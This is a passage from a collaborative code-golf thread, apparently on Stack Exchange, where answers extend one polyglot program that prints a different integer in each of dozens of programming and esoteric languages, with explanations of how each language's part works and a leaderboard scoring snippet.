6HQBUYYCp9BuV4pj/zDGQ6mhLDHX2h49xZz9Cpb44k2BhtVjMr1QxV6o5vFyhY1eTtvKD5urXFMLbN@HTp@6npBcO2npo5/Rdq4XtuXKm@RKkmtuhbTTbCZht571azR/Yof6DlgjmQ7sBYNAmzJl@vdR0ZBfqyvT6VS8ybqJB/U0vqjUH9Wm9@tG@qjt2oz7DL8RWD@q/QngLUWq5fVWL2k4Hv5RN3JJEYmc1p31riracaYF91XMGdkNvB9hYq73BYcBn1gtqtYEO4gEW729sB0@fOrWgO2sHhqET1KeNF296OQaDmk3vO5rTmb246k2xf0fDtw0ygQ7mse@2DoAP/LUhY6m@FeuSxxmxNwN7oW1XP76ofqzaT55c9WZGOKhL8e80Voon5mfE/LqNaNWP64YlRCI6C5r6rb/zrVnNmFqH9UHI9WRtp@Sw@hErycob5v8H "Bash – TIO Nexus") of the polyglot. But I wanted to attempt to improve the VIP score as well if possible. And since I had a fulfilled all the requirements of the challenge, I felt ok about collaborating to golf down the code. So I stopped over at polyglot chat to seek some golfing help. ## We must go deeper @ais523 demonstrated a technique of passing the instructions to the assembler as machine code with this statement. `.text;.long 2298589328,898451655,12,178790,1018168591,84934449,12597` Machine code is a series of numeric instructions executed directly by the CPU which can be represented in decimal, Hexadecimal or Octal. For our purposes decimal is the shortest since (hex takes a leading `0x` to represent). The `.long` statement here is making the declaration that what follows is a series of decimal machine code instructions. Well I poked at this statement as well for a bit to see what the assembler would allow, and made a couple changes. First, I found that I can remove `.text;` all together, with only warnings issues, which was a pretty sold byte saving. Then a while later I also found, [this statement](http://web.mit.edu/gnu/doc/html/as_7.html#SEC102) in the AS spec documentation > > .long is the same as .int > > > Cool. So, we can make that swap for a quick byte. Now our assembly, but really machine code, was cut down to this: `.int 2298589328,898451655,12,178790,1018168591,84934449,12597`. While this is all well and good, it’s quite difficult to work with machine code directly and I wanted to at least see how to make all the translations. So ideally, we’d want to dissemble the machine code back to assembly. The easiest way of doing that is to take an object dump, which @ais523 demonstrated for me with this code snippet. [Here’s the code snippet.](https://tio.run/nexus/bash#HclLDsIwDADRfU7hA7ihTu3G3nCX9CMBAozU9Pxp6e6Nps2lwh1q3ELZoPNTftV7@TPEW4m@17DODw8@vZb984Pueq3F57dCSqaiNiRFNWWhUQQpIWXN1iP1pDSqGKGyDcxs5xXLBw) And here’s just the Assembly. ``` nop mov $0x1,%al mov %eax,%edi lea 0xc(%rip),%rsi mov $0x2,%dx syscall mov $0x3c,%al xor %edi,%edi syscall .byte 0x35 xor %eax,(%rax) ``` That link also shows some 2 character hex numbers alongside each line of assembly. Those correspond to the decimal instructions. For example, if you put `2298589328` into [this](http://www.binaryhexconverter.com/decimal-to-hex-converter) decimal to hex converter, you get `8901B090` back. And if you look closely, those are the first 4 hex instructions from the object dump (in reverse order). From what I can tell, sets of 4 hexadecimal numbers are always used to convert to decimal and the main byte saving trick being use here is to structure the assembly so that the last several hex numbers in our 4 sets are 00. These will then transform to leading zeros when we put them into the `.int` statement which are just omitted. This is what’s happening in the `12` statement. In hex portion of the object dump this is `0c 00 00 00`. This is as far as my understanding of Assembly has gotten in 2 weeks. What a crash course! ## Incident Incident was a more difficult solve in the shorter assembly implementation because it weighted the polyglot tokens much heavier to the top. Here is the Incident report. * `!` in line 2 detokenizes `!` * The first `EA` on the INTERCAL line detokenizes itself * The last space on the second to last line detokenizes a space-space token. * `85` on the last line detokenizes * The `R` in `#<R>"3"O.` detokenizes `R` * `65` in `<>{#65 }//` tokenizes `65` * `16` on the last line detokenizes itself * `89` on the last line tokenizes itself ## Cardinal I just realized I made a change to Cardinal that I forgot to document. I spent some time poking around looking for ways to save bytes, and decided to learn Cardinal. After a little time with the documentation, I saw this line. > > `=` copies the pointer's active value into its inactive value. > > > This was not a trick being used in the polyglot. The old solution included these instrucitons: `++~\*t `++` incriments up to 2. `~` changes the active stack `*` adds the stacks. I realized that `~*` could be achieved with just the `=` instruction, so I reworked the solution to take out some useless stack swapping and add in this small byte saving. [Answer] # 1. Python 3 (8 bytes) ``` print(1) ``` This program prints **1** in Python 3. Starting this off with Python 3 because I know it's good for polyglots and can be taken in a number of different directions (also, I wanted to ensure that the first answer was in a relatively normal language, rather than an absurd esolang that's hard to polyglot with). [Answer] # 10. [Befunge](http://esolangs.org/wiki/Befunge), 95 bytes ``` #v02^0;7||"<+0+0+0+<;n4 #v0#@00 #>3N. #|\w* #8 #| #M` print(None and 9or 1/2and 1or 5) #jd5ki2 ``` There is a literal ESC character between `j` and `d` on the last line (grr, @ais523). It is not included in this code. To get the actual code, please go to the `Try it online` link. This prints **1** in Python 3, **2** in Vim, **3** in Minkolang, **4** in <><, **5** in Python 2, **6** in SMBF, **7** in Japt, **8** in Retina, **9** in Perl, and **10** in Befunge. This code shares `*` with Retina and `.` with Minkolang and SMBF. [Try it online](https://tio.run/nexus/befunge#@69cZmAUZ2BtXlOjZKNtAIY21nkmXEBxZQcDAy5lO2M/PS7lmphyLS5lCyCDS9k3gaugKDOvRMMvPy9VITEvRcEyv0jBUN8IxDQEMk01uZSzpFNMszON/v8HAA) # Explanation **Actual program** ``` #v02^ @ . * t 5 #v02^ ``` The last line was written for clarity (*Befunge* playground is cyclic.) ``` # ``` Trampoline, skips `v` ``` 02^ ``` Push `0` and then `2` in stack and go up. ``` 5t*.@ ``` Push `5`, no-op, multiply two elements in stack (`2` and `5`), print, end program. [Answer] # 11. [Befunge 98](http://quadium.net/funge/spec98.html), 102 bytes ``` #v;2^0;7||"<+0+0+0+<;n4 #v0#_q@ #>3N. #|\w* #8 ^1b0< #| #M` print(None and 9or 1/2and 1or 5) #jd5ki2 ``` Prints: * 1 in [Python 3](https://tio.run/nexus/python3#@69cZm0UZ2BtXlOjZKNtAIY21nkmXMplBsrxhQ5cynbGfnpcyjUx5VpcyhYKCnGGSQY2QD6Xsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKWdJp5hmZxr9/w8A) * 2 in [Vim](http://v.tryitonline.net/#code=I3Y7Ml4wOzd8fCI8KzArMCswKzw7bjQKI3YwI19xQAojPjNOLgojfFx3KgojOCAgXjFiMDwKI3wKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiNqG2Q1a2ky&input=) - This takes quite a while to output for some reason... * 3 in [Minkolang v0.15](http://play.starmaninnovations.com/minkolang/?code=%23v%3B2%5E0%3B7%7C%7C%22%3C%2B0%2B0%2B0%2B%3C%3Bn4%0A%23v0%23_q%40%0A%23%3E3N%2E%0A%23%7C%5Cw*%0A%238%20%20%5E1b0%3C%0A%23%7C%0A%23M%60%0Aprint%28None%20and%209or%201%2F2and%201or%205%29%0A%23j%1Bd5ki2) * 4 in [><>](http://fish.tryitonline.net/#code=I3Y7Ml4wOzd8fCI8KzArMCswKzw7bjQKI3YwI19xQAojPjNOLgojfFx3KgojOCAgXjFiMDwKI3wKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiNqG2Q1a2ky&input=) * 5 in [Python 2](https://tio.run/#T9LZS) * 6 in [SMBF](http://smbf.tryitonline.net/#code=I3Y7Ml4wOzd8fCI8KzArMCswKzw7bjQKI3YwI19xQAojPjNOLgojfFx3KgojOCAgXjFiMDwKI3wKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiNqG2Q1a2ky&input=) * 7 in [Japt](http://ethproductions.github.io/japt/?v=master&code=I3Y7Ml4wOzd8fCI8KzArMCswKzw7bjQKI3YwI19xQAojPjNOLgojfFx3KgojOCAgXjFiMDwKI3wKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiNqG2Q1a2ky&input=) * 8 in [Retina](http://retina.tryitonline.net/#code=I3Y7Ml4wOzd8fCI8KzArMCswKzw7bjQKI3YwI19xQAojPjNOLgojfFx3KgojOCAgXjFiMDwKI3wKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiNqG2Q1a2ky&input=) * 9 in [Perl](https://tio.run/nexus/perl#@69cZm0UZ2BtXlOjZKNtAIY21nkmXMplBsrxhQ5cynbGfnpcyjUx5VpcyhYKCnGGSQY2QD6Xsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKWdJp5hmZxr9/w8A) * 10 in [Befunge 93](https://tio.run/nexus/befunge#@69cZm0UZ2BtXlOjZKNtAIY21nkmXMplBsrxhQ5cynbGfnpcyjUx5VpcyhYKCnGGSQY2QD6Xsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKWdJp5hmZxr9/w8A) * 11 in [Befunge 98](https://tio.run/nexus/befunge-98#@69cZm0UZ2BtXlOjZKNtAIY21nkmXMplBsrxhQ5cynbGfnpcyjUx5VpcyhYKCnGGSQY2QD6Xsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKWdJp5hmZxr9/w8A) To be perfectly honest, I have no clue why the Vim code takes 1 min to output. Also, no clue how Retina works. Explanation: ``` #v Skips the v, which would send the IP down ; Unlike '93, where ; is a no-op, '98 skips to the next ; and doesn't execute anything in between 2^0; Not executed, unlike Befunge 93 7| Pushes 7 onto the stack, and then sends the IP up, because 7 is not 0 n0b1 n clears the stack, and #s are pushed until the stack is [0, 11, 1 *. multiplies the top 2 values of the stack to give 11, and prints it (yay!) _ Sends the IP right, because the top value of the stack is 0 q Ends the program (no-op for '93, which continues to @) ``` Things to note: * The `0` next to the `b` isn't strictly necessary in the code's current state, and the stack has been cleared. It can be removed if necessary, but allows for other stack manipulation beforehand as part of a possible future program. * The `_q@` is there as part of Retina (It doesn't work without it, don't ask me why). The addition of `q` also lets the '98 code run a `t` operation, which splits the IP (along with making the Retina program print 8 instead of 7) * The `_` is not a simple `>` because that would mess the SMBF part up. --- Edit: Just realized that the `_q@` should probably be `@00` (Where 0s can be ~any char) to make the program more flexible in the future. I'm too lazy (and tired) to change all the links right now though. Will get around to it eventually... Edit 2: I Didn't expect 6 more answers this quickly. I guess it's staying as is. Great job everyone! [Answer] ## 21. [Nim](http://nim-lang.org/) (161 bytes) ``` #v`16/"<"6/b.q@#;n4"14"" #>3N6@15o|> ^*ttt*~++ % #=~nJ<R"12"; #[ print((1/2and 9 or 13)-(0and+4)^1<<65>>62)#46(89999+++++!)=#print(17)#]#echo 21 #8dggi2` |1|6 ``` Two `<ESC>`s, between `8d` and between `2`` on the last line. You can tell that my previous one was golfed in a hurry, because I woke up this morning and realised I could take a bunch more off. I had 152 bytes but that seems to only work in Perl 5.24.0, so in the interest of compatibility with TIO I've kept the original expression for now. Prints 1 in Python 3, 2 in V, 3 in Minkolang, 4 in ><>, 5 in Python 2, 6 in SMBF, 7 in Japt, 8 in Retina, 9 in Perl, 10 in Befunge-93, 11 in Befunge-98, 12 in Fission, 13 in Ruby, 14 in Turtléd, 15 in Haystack, 16 in Pyth, 17 in Julia, 18 in Cardinal, 19 in Reng, 20 in Prelude and **[21 in Nim](https://tio.run/nexus/nim#JcuxDoIwFEDRvb/AUvtiQmkUX4EKoTTMDg6uRoKKQZaipHEi/DpiPNsd7gyfGlXINFPhbfsuIbcxw5gxAiY6qhKTfjS0CpxzwSQEXRMoJnvQJ4aS5QTOhLyGzjrfx1BebUMz2g8UI77xd0uKmFeotUqMUZJDrPw0W4ifFS/g/@KewwUe92dPJRJIvaZtO@nVdMRRzfMX)**. Note that Nim on ideone.com uses version 0.11.2, which is a tad too old, since this program relies on `#[ ... ]#` multiline comments added in early 2016. ~~Thanks to Cardinal's Windows interpreter, my workflow now consists of two laptops and a Python `http.server` in between.~~ --- Edit — some more hints: * The `8` at the start of the last line is to set Retina's limit to the first 8 matches, otherwise without it Retina would output `2`. Note that this means the final line regex only needs to match at least 8 times in the second last line now, as opposed to exactly 8 — during my meddling I modified Prelude to get Retina right, but it turned out that was unnecessary in the end. * The mismatched quote at the end of the first line is so that Pyth doesn't complain about invalid syntax for the rest of the code. * If you modify the second line you might have to change the `6@` for Minkolang, which makes the pointer jump 6 spaces to land on the `^`. * There's a pair of `[]` now, so SMBF needs to be on a 0 cell before it hits the `[`, or alternative the interior needs to clear the cell. There's probably more to golf (even now I see a stray space before the `%` for Cardinal), but I should really stop golfing in the wee hours of the morning. [Answer] # 36. [Labyrinth](http://esolangs.org/wiki/labyrinth), 647 bytes ``` #v`16/"<"6/b.q@"(: ::Q): ␉␉␉␉ :(22)S#;n4"14" #>3N36!@@15o|>␉^?.*ttt*~++~~~% #= >␉1#v#v0l0mx01k1k0l0ix0jx0h0h1d111P0eU0bx0b0o1d0b0e0e00x1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10mx0m0l11111100(^_) #[␉ #`<`| print((eval(" 1\x2f2")and(9)or(13))-(0and 4)^1<<(65)>>(62))or' (\{(\{})(\{}[()])}\{}\{}\{})'#46(8+9+9+9+9+=!)#1111|=/=1/24=x=9[<$+@+-@@@@=>+<@@@=>+<?#>+.--.]/ __DATA__=1#// #.\."12"␉* """"#// =begin␉// $'main'// #-3o4o#␉ =end #// """#"#// #0]#echo 21#/ (\[FAC,1<-#2FAC,1SUB#1<-#52FAC,1SUB#2<-#32FACLEGEREEX,1PLEASEGIVEUPPLEASE) a # +/Jn~ #0␛dggi2␛`␉|1|6$//''25 >>>#>27.say# =#print(17)#$nd^_^_.]Q2229991#;abcd!fghij/+23!@"26 ``` `␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the "input" box of the TIO link below, if you want to work on it. [Try them online!](https://tio.run/nexus/bash#jVjLVuNGGl6jV8imWlK3JWzdTEMCxm7oDp3TSSchDc3MOZhLWSrbBVLJkWRsHy5ntjNnFrOfzSznPWY7TzEvkvmqZIMNJh2BpZJU9f9/ff9dvxnyIPtpPOnFaUEKlhckyvgVy1zydkJ2KM/X62vWIOMJzSaEDot@mtk1svOuT0XINE0tz9JoGHLRI0WfES4Gw4J0ecxyLaQFaZHBlLwrB8QgGaNROU3rphmRS0hyGRNO1GGQPE3kw4Jlg4zhnBPBWETyAQt5l4eKOGHjgomcpyLXolSTC8PBI1b3dybDHHEvLhvQTImbkoGSfSb1KKODAfhpBjmADAVPWE54UckJozmX4GBJzkSkdjq4hy0lVMwLTK44JRT7GGaKds6yApK6ii7ps4yBJJXMexlNiDXKeIHdSCB2yT6jGTnMGLPBBQCyPKQDyLHAEsxSyaGQG3EV0Nvblb2f31cAeLnCpYNCM7K1w1@@1yhxm8Q8a@DX1PWGtvfTt@TabMsxpAAxKGWQWdQmzTuSe@02w28cdLxedquBqgZUYuKlg8IDZZoVEO9h5FzV3UE8x5ZsP9LEnBGUsyLognwQ5Kim9hUOs4xBigdI6SW2HKeiBzSx1WwoJBqCbPhQQJiKKK8RdgXMUlFqKB0pfA/7HCrLpUJoB/DQUCJfWraCE7YNI5riOeObp/FQzcPKvOBxLAHGUknxQ5cckS7lsVyC95JUKXXG8mFcyDVDEUm9J1ywyCUzMcI0kpOS9ArsKIiqB7D5ZM5TlFCYDDWkaqvy1f/@8c@o1wOd3TBMs2hqrEckSsNhAoGpEpbCEKW5poLGSizMq0nu5XIwuKIxj2gh2YvJlIUSQnEdpcM4IikYZiOeM9KnV/CrbpeFBStNPB0WkLFGEnpZ@jcv7RYbT2gHilUMFG9sWxmJkwyL7jfEGeyRSu6dWm@2rDcv2gzy2K69anperwELc1fVI9xVfs9YjnYfdKhJk9klXTYiMRW9Ie1hW6nAAhqGbFBM8QQueQHEHjuFeuhMPdzN@5q585izsvSp78/xkLZYet/UX6kEIUyTBApwYuic0Kyn9EIingG9ePKYOyZcPWKun8spCwKc68@IMAtTsGo2ZuGwAPisRkZ9HvbJSEknSvWVvvKYPR7Nc4cBOt171lKYoPWqrrne/SMpxrMkHKnop3QQAySp1sIDZRPzD9QGVSA@kPEcljuLutIzHoL8/eaBxvcypmTs1yHQhYPynpBTqLiP2HNGzXNRgZfznAMiGXs53hx@@Fm68p9YmUkAUhmG5v0wRV7B8mlslS9miGks7KfEEaQylcHSVSi8gFhenoVq4MzFf912AZclYVOvZoQuypT4OBaS1tN5imWlRo51/aSG8BPn0LcYxjFuhkI5hMXsaxhGyPLchXXDV12ZSCCdXmX27eLEop@lI8Ju7UZlGTulkEPs@SNCLvnIES3TLgL0Qw5WuXosU1Rb0wcTFAJibdF69Yc39TJXHHkJhScOJss9Wp8npRb8yMVlKjXvJbPRme8G6wskUCs8XdnleV@dFqY@EevpG7U6TzpddVoyQUjTeoSXepGkIi2ZAyEuqPdJXVx46DIJFh1hgf1bBlX1mLO55nW48Dqs@9zM92/fflBzup0Of24SYJCF0ey6ZFo27CxDqUPz/pNASRZwPhxmRexEXiGv7L9/iYD3U2306SRH/ry8H5wJNpKacbrPKme6VN6o03JFXgxj1FZfoBFSmTNpfD9YTmuLfGKwduQ0oUoqSBrHcEdAhoDx1JzhCfEwYrPrcqIKw8V4SwRPZL4YyLr1mRWPEkTJUJYVWZzSyCsLPc4etFfizMa0l4qJNxd83KzzB8SaxXDyUNkV/WExLM@ynPuSnvhA/n7P3aYz/fXdt8He9PLMfAix8Zydli6SIZI472N66XXk8KyL4fKtlpvJeA@14@z63DSWqyDjdNL00inr9dxDWkVFM6AhU672cLvUhn5Eao5Rsh/89Plg/3eNSXEEtSwuz0vJfRAhMpYovkwJMMTq9AetUC1ShhLS2PHdNd/j4SVx5jDkj1CPaWci24P@Fw1MJZBPqkq/L5RQopfNBZ7xbFpM5u6sXzMe3hJBUe8g48jxLPM3ynoz76syFcV/BPf5LLjK9SiLy0qrRjrI3ios/eff0bR677EiJwnPUZ32hGwdUU7109EbxbcsU9/tHhAHNaqSoUv0l87Xfq7XiLn76bujY/@kQnRzrE8Fle2HqrbvBS43Qyw53lehfVocJqpzUXtiI1UcoltBoyITnmwJUJDk6PUKW5G2EM4S1BzOQUHWZevLCtSW69Meh8gOFJzUVGKOyQ2aRzTPTkiCdR935VZiWWsnzYcsMp@4vW9ZZ6hcAF1afa2p9oE2cLulRhmLUlmQH5@2oxMvn6GB7u@lXx9LPF55UhXoGK9Nt@Xf3OR0ouu3FXuupd4bI6XDUmVro1oTTbbZEqp0WCyUziNe9MsaD4Vf2KeyEpCl36xekyJ14YYkxj5ly6H8LpcbJRJMl@zGOTrfKAJMnUkh0R2KoizR7us03SDCvbejGtG1J98G5NocgBezfhFNTJYpGfrIV6VVQTFRimkj1S2hIETJ6bquNgqlChSJZU0Pumd0YGWj0y4w/ut03MX47@X41JMq9Z50P@VGnuA3F4P4go9Nd75ECgJm/1oihMD4b@X4uO07dyfLmrBHYsyrEPynaQeuKRt@zHoHM@LFFtn5gQnBJmTJF6PyU9LDp6OnYu9VruMUocn0Gso@G7eQ8LxN2kW72xZSzMbE@8pzvca1ZcbNied5od2yzH4zqK6tVqumWLVM4QS2/eqVNOtbM2@aZ67u6mNMcszYbsBALZM2TdEw6bZlRs36qlqB22rVvsaCO/Sm1ya99cxXQKqGJxm7goUyy8xtWQL7rhvcQr6LlAvTqyV0cG3pRB/Lzw2SvcmrVSmDa55JAe689kEVkgP4A085U2OqfK@XNJS7VRah/@034@o82PD0bX3D67i/7ujWFtna@sXeImQFB9my6nX7wGiI13rwWteM1tpPaxsvdnaC9fSmtXL6xl0timL1rlq9u7t7qRlN0loJjCvjyo/9ZOwHl8ElRnzsX4z9vt8PoiAI9n322e@M/Y6fBhHODH/@GEPud8d@zxe@CIKxn2IQjv0Qgy7OPfmqCyIX@OO@L2lLFokfB@rwfev0zNaM4xXNON8@v9HUfi2LXdEYoAXtcb1b1204vbVpQzXBmm07li@DwGv7NNjetjbW7VbL2qjbeF0hVvsa/7e2PB1b9ol9i0H5b1eM1xvWN9XN6V/zhW1IEW6aXjPw6q@b4@bm8bZZ3ak6Oziarer29PLGaFVdx3FPPO3s7Nvdw92zs2ZgeJ5muG1XD@r6yqqm45CPmh3W42IFI7MiW5uKnOaspa9TY0Vryg@DyBZ4JqerBYZ/YqioVAdJyH/8fvddLdh2jLoaHHx@a8i79YfbOm7X5O3Hve/2Pu3t/bkW7H/c2z3Y@@7D0d7n/XJsEwqvI6TqfS/uwOSrqNfj9a/OV26Cmw3T8yqV@jpBn9cyWvWvXURsgzSNEvzga9swRXR6dnrmnvxSr9c3NzcDo0E7YfSi2@vzC69aX3uxo9c3/g8) ## Rundown This program prints 36 in Labyrinth, 35 in INTERCAL, 34 in Rail, 33 in Incident, 32 in Whirl, 31 in Modular SNUSP, 30 in Whitespace, 29 in Trigger, 28 in Brain-Flak, 27 in Perl 6, 26 in 05AB1E, 25 in Pip, 24 in Thutu, 23 in Hexagony, 22 in Underload, 21 in Nim, 20 in Prelude, 19 in Reng, 18 in Cardinal, 17 in Julia, 16 in Pyth, 15 in Haystack, 14 in Turtlèd, 13 in Ruby, 12 in Fission, 11 in Befunge-98, 10 in Befunge-93, 9 in Perl 5, 8 in Retina, 7 in Japt, 6 in SMBF, 5 in Python 2, 4 in ><>, 3 in Minkolang, 2 in V/Vim, and 1 in Python 3. ## Verification Most of the languages are tested by the test driver shown above. You can test Reng [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) and Modular SNUSP [here](http://www.quirkster.com/iano/snusp/snusp-js.html); they output 19 and 31 respectively. @ais523 helped debug and fix the Incident code, which now works. ## How Labyrinth works Labyrinth starts off shifting some of the columns in the source around a little, but after a few steps the pointer gets to where the `N` is on the 2nd line (initially, by the time the pointer gets there it's no longer an `N` there), moving right, with a 0 at the top of the stack. Then, it simply pushes and prints a 36 and terminates with `36!@` ## Things I Done Broke I knew I wanted to add Labyrinth, as it's one of the few esolangs I know a bit about. With it's debugger, I found that by changing the 8 in the last line to a 0, Labyrinth didn't get stuck in an infinite loop and, oddly, nothing else seemed to break. From there I just dumped in the raw 36 and output command I needed, and those conveniently led to an `@` to terminate things. Then, it was on to repairing what I broke: Minkolang, Cardinal, and Hexagony. The `!` was making Minko skip the next character, which it needed to terminate, so I just added an extra `@`. So far, so good. The change in length of the 2nd line made Cardinal miss it's output statement. Trying to add an extra `.` on the first line made Prelude lose its mind (no clue why, honestly), so I went a different method and just dropped it in the second line. That inadvertently spawned a 3rd Cardinal pointer, so I padded things with a `?` (not a necessary choice, just the first thing I found that fixed both Fission and Cardinal). Hexagony was fortunately a relatively simple fix, I just threw in a string of letters so that the pointer found the code. I figured the alphabet shouldn't have appeared before and wouldn't cause problems with Incident. This is also when I realized I hadn't tested Incident. Thanks to @ai523, I found out I just needed an extra exclamation point, so the `e` in the alphabet string was changed to a `!`. ## Scores from [The versatile integer printer](https://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer) Just for kicks and going of off @Stewie Griffin's comment on the question, here's a snippet that shows how each answer would have scored if it was entered into "The Verstatile Integer Printer". ``` // This was stolen/sloppily hacked together from the snippet here: https://codegolf.stackexchange.com/questions/55422/hello-world. Feel free to clean it up if you'd like. /* Configuration */ var QUESTION_ID = 102370; // Obtain this from the url // It will be like http://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 8478; // This should be the user ID of the challenge author. /* App */ var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "http://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=asc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "http://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,<]*(?:<(?:[^\n>]*>[^\n<]*<\/[^\n>]*>)[^\n,<]*)*)[,\(].*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function getScore(langs, bytes) { var l = Math.pow(langs,3); return bytes/l; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, score: getScore(match[1].split(".")[0],+match[2]).toFixed(5), }); else console.log(body); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; lang = jQuery('<a>'+lang+'</a>').text(); languages[lang] = languages[lang] || {lang: a.language, lang_raw: lang, user: a.user, size: a.size, link: a.link, score: a.score}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { return a.lang_raw.split(".")[0] - b.lang_raw.split(".")[0]; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.score) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } } ``` ``` body { text-align: left !important} #language-list { padding: 10px; width: 400px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="language-list"> <h2>Scores from <a href="https://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer">The Versatile Integer Printer</a></h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> ``` [Answer] # 41. [brainf\*\*\*](http://esolangs.org/wiki/brainfuck), 916 bytes ``` # 4"16" 3//v\(@#/;\D"14"<;n4 #/*`3 afaaZ">;[77*,68*,@;'1,'1,q)(22)S# ␉␉␉␉ ( #yy␉;36!@ #`<` ␉ #=␉x #<]+<[.>-]>[ #␉< ###xR+++++[D>+++++++L+++<-][<<<]>+.---.>][ #px%>~~~+␉+~*ttt*.x #D>xU/-<+++L) #R+.----.R␉>]| #[#yy#yy0l0mx01k1k0l0ix0jx0h0h1d111P0eU0bx0b0o1d0b0e0e00x1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10mx0m0l11111100(^_) #|␉ print((eval("1\x2f2")and(9)or(13 ) )-(0and 4)^1<<(65)>>(62))or'(\{(\{})(\{}[()])}\{}\{}\{})'#46(8+9+9+9+9+=!)#1111|=/=1/24=x=9[<$+@+-@@@@=>+<@@@=>+<?#>+.--.]/ __DATA__=1#// #.\."12"␉* ###; console.log 39 """"#// =begin␉// #*/ #define␉z sizeof 'c'-1?"38":"37" #include<stdio.h> int main() /*/ #()`#`\'*/{puts(z);}/*'`` $'main'␉// #-3o4o#$$$ <>"3"O.<␉>// # =end #// """#"#// #0]#echo 21#/(\[FAC,1<-#2FAC,1SUB#1<-#52FAC,1SUB#2<-#32FACLEGEREEX,1PLEASEGIVEUPPLEASE) a>>> #>27.say# /7Jn~15o| #8␛dggi2␛`␉|1|6$//''25 =#print(17) ###^_^_LEintnd"3"z!]/}23!@/*///Z222999"26 ``` `␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the "input" box of the TIO link below, if you want to work on it. [Try it 